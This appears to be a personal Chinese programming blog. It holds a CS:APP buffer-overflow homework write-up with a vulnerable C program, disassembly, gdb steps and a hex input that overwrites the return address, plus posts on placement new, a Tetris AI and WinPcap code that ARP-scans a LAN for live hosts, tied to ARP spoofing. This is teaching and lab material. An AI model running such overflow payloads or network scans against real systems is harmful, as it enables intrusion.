colaghost

自己的世界。。。

缓冲区溢出攻击实验

使用系统环境为:ubuntu10.04 2.6.32-27-generic gcc4.4.3
这里先放出实验代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <stdio.h> 
#include <stdlib.h>
#include  <ctype.h>
 
char *getxs(char *dest)
{
	int c;
	int even = 1;
	int otherd = 0;
	char *sp = dest;
	while ((c=getchar())!=EOF&&c!='\n')
	{
		if (isxdigit(c))
		{
			int val;
			if ('0'<=c&&c<='9')
				val = c - '0';
			else
				if ('A'<=c&&c<='F')
					val = c - 'A' +  10;
			else
				val = c - 'a' + 10;
			if (even)
			{
				otherd = val;
				even = 0;
			}
			else
			{
				*sp   = otherd*16 + val;
				even = 1;
			}
		}
	}
//	*sp   = '\0';
	return dest;}
 
int getbuf()
{
	char buf[12];
	getxs(buf);
	return 1;
}
 
void test()
{
	int val;
	printf("Type Hex string:");
	val = getbuf();
	printf("getbuf returned 0x%x\n", val);
}
int main()
{
	int buf[16];
	int offset = (((int)buf)&0xfff);
	int *space = (int*)alloca(offset);
	*space = 0;
	test();
	return 0;
}

其实这是《深入理解计算机系统》里的一个家庭作业,根据以上代码可以看出getbuf()函数在正常情况下无论怎么调用都会返回值1。任务是只简单地对提示符输入一个适当的十六进制字符串,就使getbuf对rest返回-559038737(0xdeadbeef)。
不过在目前的内核和编译器下要直接对原程序进行栈溢出攻击是不可能完成的了。现在的编译器对代码做了一些防止溢出攻击的保护措施,如%gs:0×14。每次运行程序时它都会随机产生一个类似验证码的值,当函数返回时它会验证此验证码是否被改变,由于它验证码的存放内存位置位于buf数组和保存在栈上的%ebp之间,只要数组一旦越界写入的话就会被改变,这时候也会触使保护代码运行。
不过我在编译时加进了-fno-stack-protector选项,这时候是不产生任何栈溢出保护代码的。
以下是源程序反汇编所得的主要汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
08048569 :
 8048569:	55                   	push   %ebp
 804856a:	89 e5                	mov    %esp,%ebp
 804856c:	83 ec 28             	sub    $0x28,%esp
 804856f:	8d 45 ec             	lea    -0x14(%ebp),%eax
 8048572:	89 04 24             	mov    %eax,(%esp)
 8048575:	e8 2a ff ff ff       	call   80484a4
 804857a:	b8 01 00 00 00       	mov    $0x1,%eax
 804857f:	c9                   	leave
 8048580:	c3                   	ret    
 
08048581 :
 8048581:	55                   	push   %ebp
 8048582:	89 e5                	mov    %esp,%ebp
 8048584:	83 ec 28             	sub    $0x28,%esp
 8048587:	b8 e0 86 04 08       	mov    $0x80486e0,%eax
 804858c:	89 04 24             	mov    %eax,(%esp)
 804858f:	e8 38 fe ff ff       	call   80483cc
 
 8048594:	e8 d0 ff ff ff       	call   8048569
 8048599:	89 45 f4             	mov    %eax,-0xc(%ebp)
 804859c:	b8 f1 86 04 08       	mov    $0x80486f1,%eax
 80485a1:	8b 55 f4             	mov    -0xc(%ebp),%edx
 80485a4:	89 54 24 04          	mov    %edx,0x4(%esp)
 80485a8:	89 04 24             	mov    %eax,(%esp)
 80485ab:	e8 1c fe ff ff       	call   80483cc
 
 80485b0:	c7 04 24 07 87 04 08 	movl   $0x8048707,(%esp)
 80485b7:	e8 20 fe ff ff       	call   80483dc
 
 80485bc:	c9                   	leave
 80485bd:	c3                   	ret

这里主要需要进行getbuf和test两个函数汇编代码的分析。
分析可以得出:test调用了getbuf函数,getbuf将0×1传送到%eax做为返回值。test将返回值赋值给val,最后以16进制打印出来,这个结果在正常情况下无论如何就只是输出0×1。
这里通过汇编代码我们可以发现两种思路,一种就是在getbuf中输入字符串时,覆盖栈中保存的%ebp值(跟原先的值一样),返回地址(使其直接跳转到test汇编代码的call 80483cc 这一句,以及返回地址上面的8个字节%ebp+4、%ebp+8(这两个是做为printf的两个参数);另外一种就是往buf里注入一段机器码(这段机器码主要是将%eax赋值为0xdeadbeef),当然这时候也需要覆盖返回地址,使其跳转到注入的机器码的起始地址,不过这种方法在目前的内核下并不可行,会引发系统某种保护机制而失败。
这里主要研究第一种思路,下面可以看下test和getbuf的部分栈的组织图。

getbuf里分配了40个字节的空间,不明白为什么需要这么多额外的。
这里主要需要获取%ebp的值,以及call 80483cc 这一句的地址(这个可以从汇编代码里得出为0×80485ab)。
%ebp的值需要调试运行在getbuf函数里面下断点读出。
用gdb调试过程如下:
GNU gdb (GDB) 7.1-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3 : GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type “show copying”
and “show warranty” for details.
This GDB was configured as “i486-linux-gnu”.
For bug reporting instructions, please see:

Reading symbols from /home/colaghost/Desktop/test2…done.
(gdb) break *0×804856c
Breakpoint 1 at 0×804856c: file test.c, line 42.
(gdb) r
Starting program: /home/colaghost/Desktop/test2
Breakpoint 1, 0×0804856c in getbuf () at test.c:42
warning: Source file is more recent than executable.
42 {
(gdb) print /x *(int*)($ebp)
$1 = 0xbfffefd8
这里得出保存的%ebp值为0xbfffefd8,下面可以得出要返回0xdeadbeef的字符串。
首先是输入任意40个十六进制字符填满char[12]和额外的8个字节,继续输入保存的%ebp的值,返回地址0×80485ab,printf的第一个参数的存放地址,即 0×80486f1,最后是我们要打印的字符0xdeadbeef。
最终得到的字符串就是这样的:
b8ef bead deba 6985 0408 ffe2 0000 0000 0000 0000 d8ef ffbf ab85 0408 f186 0408 efbe adde
后记:最先由于%gs:0×14,以及系统的一些保护机制,在正确的思路下花费了一整晚的时间都没有任何进展,一直是以sementation fault告终。第二天上午在gdb调试运行状态下才算成功得到返回值。输入同样的字符串,在gdb运行状态下可以得到返回值,并且显示程序正确结束;不过在一般运行状态下test方法返回后一直出现sementation fault的错误,到现在都未找到实际原因。

关于placement new

何为placement new呢?placement new 是重载operator new的一个标准、全局的版本,它不能被自定义的版本代替(不像普通的operator new和operator delete能够被替换成用户自定义的版本)。

首先我们区分下几个容易混淆的关键词:new operator、operator new、placement new 。

对于new operator,其实它是语言内建的,我们是没有办法改变它的。当我们创建了一个new表达式时,会发生两件事。首先,使用operator new()分配内存,然后调用构造函数。现在明白了吧,new operator会去调用operator new()跟创建对象的构造函数,我们能控制的,只有内存的分配函数operator new()(对于operator delete()也是一样)。所谓控制,其实就是重载这个函数,编译器将用重载的operator new代替默认的版本去分配内存。

接下来就是要说的placement new了。其实它也是operator new重载的一个版本,只是很少人用到它。它有一个特点,就是允许你在已经分配好的内存上创建一个对象,也就是说,可以通过某种手段在指定的内存创建对象。

好了,说到这里,我们就可以利用它来做一些高效率的事情了。

当我们用new分配对象数组空间时,会自动调用对象的默认构造函数。可是如果数组只有一部分元素会被使用,或者元素立即被赋值,那刚刚自动调用对象的默认构造函数不就等于白做了吗?这时候placement new就发挥作用了,因为它可以在分配好的缓冲区上创建对象。采用这种方式,缓冲区占用的存储区的分配,可以避免被默认的构造函数初始化:

const size_t n = sizeof(string) * 30;
string *sbuf = static_cast(::operator new(n));/*这时候是直接调用operator new函数来分配内存的,也就是说,只会分配空间,类似于malloc。*/

下面是一个在分配好的内存空间上创建对象的函数:

void append(string buf[], int &size, const string &val)
{new (&buf[size++]) string(val);}//palcement new

这样的话,我们就可以在需要的情况下使用pacement new通过复制构造函数来初始化数组里的元素,在一些情况下能够提高程序的效率。
但这样的话我们就得自己来负责清理工作了,凡事有利必有弊吧。

这里得通过显式调用string的析构函数,如:

buf[size].~string();

并用operator delete来释放存储区:

::operator delete(buf);

俄罗斯方块

人机对战版:某一方一次性消去N(N>=3)行以上时,另一方会增加N-1行。

这里放出下载地址:teris ai

前言

对于80后的人来说,大概都会玩过的游戏就是俄罗斯方块了,虽说现在可能很少会去玩这个了,但是经典永远都是经典。以前都是玩别人的,很早就想自己做一个,但由于某些原因一直搁着,上学期刚好看《编程之美》时又看到这个东东了,才开始动手。

前期

前期的工作只要考虑的是保存积木块的数据结构跟积木块移动、旋转跟消行之类的算法。

积木块是用二维数据来表示的,由于各种积木块的尺寸都不相同,而且旋转后的尺寸也可能发生变化,如果为不同的积木块设计不同尺寸的数组,则可能造成程序管理的混乱。因此就用统一尺寸的数组来容纳所有可能的积木块,4*4的数组就可以满足要求了。但相对来说会浪费一些空间,因为总共有7种积木,每种积木又有4种变形(有些可能只有一种或两种,这里是为了不在程序里加太多判断条件)。

至于积木块的碰撞检测,有一个最简单的算法,就是每下落一行,就判断积木块数组是否跟所在游戏区域有重合(有方块的值设为1,当两者相加为2即为重叠)。但这样效率比较低。因为每下落一行,很多区域都需要重复判断。

这里我采用的是《编程之美》里面提供的方法,对于每一个积木块,都会记录相应的初始数值,如下:

即计算每一个积木块所占区域的最小列minCol和最大列maxCol,以及最小行minRow和最大行maxRow。还有一个数组是用来保存游戏区域每一列最高高度的那一个方块(积木块是由数个方块组成)的位置。我们发现,可以下落到的最低高度取决于最先接触到已有方块那一列。由此,可以计算积木块每一列触底高度的最小值,这样根据这些最小值跟先前的数组即可进行碰撞检测(只需要判断积木块有方块的那列的触底高度是否大于或等于所在列最高高度的那一个方块的位置即可)。由于每次最多只需要进行四次加运算,故效率比较高。但空间开销比第一种方法大,而且每次积木块触底后需要更新保存游戏区域每列最高高度的那个方块位置的数组。

《编程之美》里的算法并不支持在下落过程中通过水平移动来“钻洞”,这里我做出的改进是:假设要进行左移,就把积木块在游戏区域里的位置的x值减1,然后判断积木块的每一列(只需判断(minCol, maxCol)这个区域的列即可)的触底高度是否比其所在游戏区域的那一列的最高高度的方块的位置值小,如果是的话则再根据每一种碰撞算法检测是否发生方块重合。

至于消行,我是先把消的行的位置记录在一个容器里,然后从最低的行开始移动,即假设要消的行为第三行跟第五行,即先把第五行以上的第三行以下的往下移动一行,再把第三行以上的往下移动两行,要消多行的话就以此循环下去,直至所有的要消的行都处理好,这样每一行只会被移动一次。

单人版

这个版本的跟其它的俄罗斯方块并无多大区别,鉴于前期工作做得比较彻底,故编码阶段也并无遇到多少问题。界面是用Win32 SDK编程来实现的,我不会MFC,故只能自己处理所有的消息,异常麻烦,导致界面代码也写了不少,唯一一个好处就是异常自由,封装好的东西总会多多少少让你觉得不爽。

人机对战版

其实初做这个游戏的AI时并不指望能达到多牛逼的地步,只是想试着玩一下而已。

做为一个人来说,我想大家都能明白玩俄罗斯方块时要一次性多消行,尽量不要摆太高,不要出现“洞”什么的。但计算机太弱智了,它没办法理解这些,故只能采用“计分制”,具体来讲就是如果积木的某种摆放达到了某要求就增加一定的分数,反之就扣除。

最开始的计分完全是自己弄着玩,玩个几千分就死掉了。后来在Pierre Dellacherie算法的基础上加上了自己的一些试验结果,看着它跑了两个多小时都没死掉,当时正值凌晨,就想着挂着它让它跑一晚上好了。没想到第二天起来还没死掉,呵呵!

其实这个AI版本让机器自己玩肯定所向无敌,当由于人机对战的话会把某一方消的行增加到另一方,而且实际上人在玩时往往会等待一次性消去3行、4行的机会。但这个AI算法注重的是不死,这时就需要做出改进了,也就是再根据下一个掉落的积木块来选出实际上最好的局势。其实具体实现也不难,不过就是剪枝,在根据当前下落积木块算出的最排前的N个局面,再根据它们和下一个掉落的积木块分别计算最好的N个局面,再从这N个局面中通过比较挑出最好的那一个。但问题就是N的选定,这又得通过一系列的试验。由于种种原因,一直没有进行这样的改进,可能是懒吧,也就一直放着了。

最后

其实这个东西还是做来自己玩的吧,没有多少实用性。毕竟界面比我做的炫、AI比我智能的网上一搜一大堆,但算是练练手吧,呵呵,just for fun!

利用ARP协议来获取局域网内活动主机的IP跟MAC地址

我们都知道ARP协议可以用来获取已知IP主机的MAC地址,那是不是可以这样说,在同一个局域网内,我们可以利用ARP回应包来判断局域网内的活动主机?其实是行的,只要局域网内的主机是处于开机状态,那就会对ARP请求包作出回应,通过分析ARP请求包就可以把局域网内所有活动主机的IP地址跟MAC地址提取出来。下面是ARP帧结构和以太网帧结构的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//28字节ARP帧结构
struct arp_head
{
unsigned short hardware_type;    //硬件类型
unsigned short protocol_type;    //协议类型
unsigned char hardware_add_len; //硬件地址长度
unsigned char protocol_add_len; //协议地址长度
unsigned short operation_field; //操作字段
unsigned char source_mac_add[6]; //源mac地址
unsigned long source_ip_add;    //源ip地址
unsigned char dest_mac_add[6]; //目的mac地址
unsigned long dest_ip_add;      //目的ip地址
};
//14字节以太网帧结构
struct ethernet_head
{
unsigned char dest_mac_add[6];    //目的mac地址
unsigned char source_mac_add[6]; //源mac地址
unsigned short type;              //帧类型
};
 
//arp最终包结构
struct arp_packet
{
ethernet_head ed;
arp_head ah;
};

这里是用winpcap开发包来实现发包的(利用pcap_sendpacket()函数可以发送构造后的协议包),具体内容可以自己去看下winpcap开发包的开发文档,可看下这里http://www.winpcap.org/。由于winpcap涉及到网络层以下,故需要自己构建各个协议头部,相对来说比较麻烦,但假如说要实现IP包欺骗、ARP网关欺骗什么的就大有好处了。由于发送ARP请求包过程中会有回应包返回,如果单一线程的话就只能等待发送完所有ARP请求包后(总共255个,你不要说不知道)才能执行接收操作,这样势必会丢失大量的回应包,故这里我采用了两个线程,一个负责发送ARP请求包,一个负责接收回应包。发送线程每发一个包就会Sleep大概50ms,主要是怕发包太快导致程序接收不到一些回应包。下面是具体代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
//获得自己主机的MAC地址
int GetSelfMac()
{
unsigned char sendbuf[42];//arp包结构大小
int i = -1;
int res;
ethernet_head eh;
arp_head ah;
struct pcap_pkthdr * pkt_header;
const u_char * pkt_data;
 
memset(eh.dest_mac_add,0xff,6);
memset(eh.source_mac_add,0x0f,6);
 
memset(ah.source_mac_add,0x0f,6);
memset(ah.dest_mac_add,0x00,6);
 
eh.type = htons(ETH_ARP);
ah.hardware_type = htons(ARP_HARDWARE);
ah.protocol_type = htons(ETH_IP);
ah.hardware_add_len = 6;
ah.protocol_add_len = 4;
ah.source_ip_add = inet_addr("219.219.71.230"); //随便设的请求方ip
ah.operation_field = htons(ARP_REQUEST);
// unsigned long ip;
// ip = ntohl(inet_addr("192.168.1.101"));
// ah.dest_ip_add =htonl(ip + loop);
ah.dest_ip_add = localIP;//inet_addr("192.168.1.102");
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,&amp;eh,sizeof(eh));
memcpy(sendbuf+sizeof(eh),&amp;ah,sizeof(ah));
 
if(pcap_sendpacket(adhandle,sendbuf,42)==0)
{
//   printf("\nPacketSend succeed\n");
}
else
{
printf("PacketSendPacket in getmine Error: %d\n",GetLastError());
return 0;
}
 
while((res = pcap_next_ex(adhandle,&amp;pkt_header,&amp;pkt_data)) &gt;= 0)
{
if(*(unsigned short *)(pkt_data+12) == htons(ETH_ARP)&amp;&amp;
*(unsigned short*)(pkt_data+20) == htons(ARP_REPLY)&amp;&amp;
*(unsigned long*)(pkt_data+38) == inet_addr("219.219.71.230"))
{
 
for(i=0; i&lt;6; i++)
{
selfMac[i] = *(unsigned char*)(pkt_data+22+i);
printf("%02x",selfMac[i]);
}
break;
}
}
if(i==6) return 1;
else return 0;
}
 
//向局域网内的所有可能的IP地址发送ARP请求包线程
 
void sendArpPacket()
{
 
unsigned char sendbuf[42];//arp包结构大小
unsigned long ip;
ethernet_head eh;
arp_head ah;
memset(eh.dest_mac_add,0xff,6);
memcpy(eh.source_mac_add,selfMac,6);
 
memcpy(ah.source_mac_add,selfMac,6);
memset(ah.dest_mac_add,0x00,6);
 
eh.type = htons(ETH_ARP);
ah.hardware_type = htons(ARP_HARDWARE);
ah.protocol_type = htons(ETH_IP);
ah.hardware_add_len = 6;
ah.protocol_add_len = 4;
ah.operation_field = htons(ARP_REQUEST);
ah.source_ip_add = inet_addr("192.168.1.101");
 
for (unsigned long i=0; i&lt;HostNum; i++)
{
ip = iptosendh;
ah.dest_ip_add =htonl(ip + i);
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,&amp;eh,sizeof(eh));
memcpy(sendbuf+sizeof(eh),&amp;ah,sizeof(ah));
if(pcap_sendpacket(adhandle,sendbuf,42)==0)
{
// printf("\nRequest Packet succeed\n");
}
else
{
printf("Request Packet in getmine Error: %d\n",GetLastError());
}
Sleep(50);
}
Sleep(1000);
flag = TRUE;
}
 
//接收ARP响应线程,分析数据包后即可获得活动的主机IP地址等
 
void GetlivePc()
{
//pcap_t *p=(pcap_t *)lpParameter;
int res;
 
// arp_head ah;
struct pcap_pkthdr *pkt_header;
const u_char * pkt_data;
unsigned char tempMac[6];
while (true)
{
if(flag)
{
printf("扫描完毕,监听线程退出!\n");
//ExitThread(0);
break;
}
 
if ((res = pcap_next_ex(adhandle,&amp;pkt_header,&amp;pkt_data)) &gt;= 0)
{
 
// printf("%x",ntohs(*(unsigned short *)(pkt_data+12)));
if(*(unsigned short *)(pkt_data+12) == htons(ETH_ARP))
{
arp_packet *recv = (arp_packet*)pkt_data;
if(*(unsigned short *)(pkt_data+20) == htons(ARP_REPLY))
{
printf("xx\n");
printf("IP地址:%d.%d.%d.%d----------&gt;mac地址:",\
recv-&gt;ah.source_ip_add&amp;255, recv-&gt;ah.source_ip_add&gt;&gt;8&amp;255,\
recv-&gt;ah.source_ip_add&gt;&gt;16&amp;255, recv-&gt;ah.source_ip_add&gt;&gt;24&amp;255);
pcGroup[aliveNum].ip = *(unsigned long *)(pkt_data+28);
memcpy(pcGroup[aliveNum].mac,(pkt_data+22),6);
aliveNum++;
for(int i=0; i&lt;6; i++)
{
tempMac[i] = *(unsigned char*)(pkt_data+22+i);
printf("%02x",tempMac[i]);
}
printf("\n");
}
}
}
Sleep(50);
}
}

后记:其实后来才知道WINDOWS平台上有SendArp这个函数可以获取到相应的MAC地址,实现这个东西时是正好在看WinpCap这个平发包,才突然想到做这个东西,当是练练手吧,呵呵!后来写的ARP欺骗程序也是基于这个平发包的,算是受益甚多吧。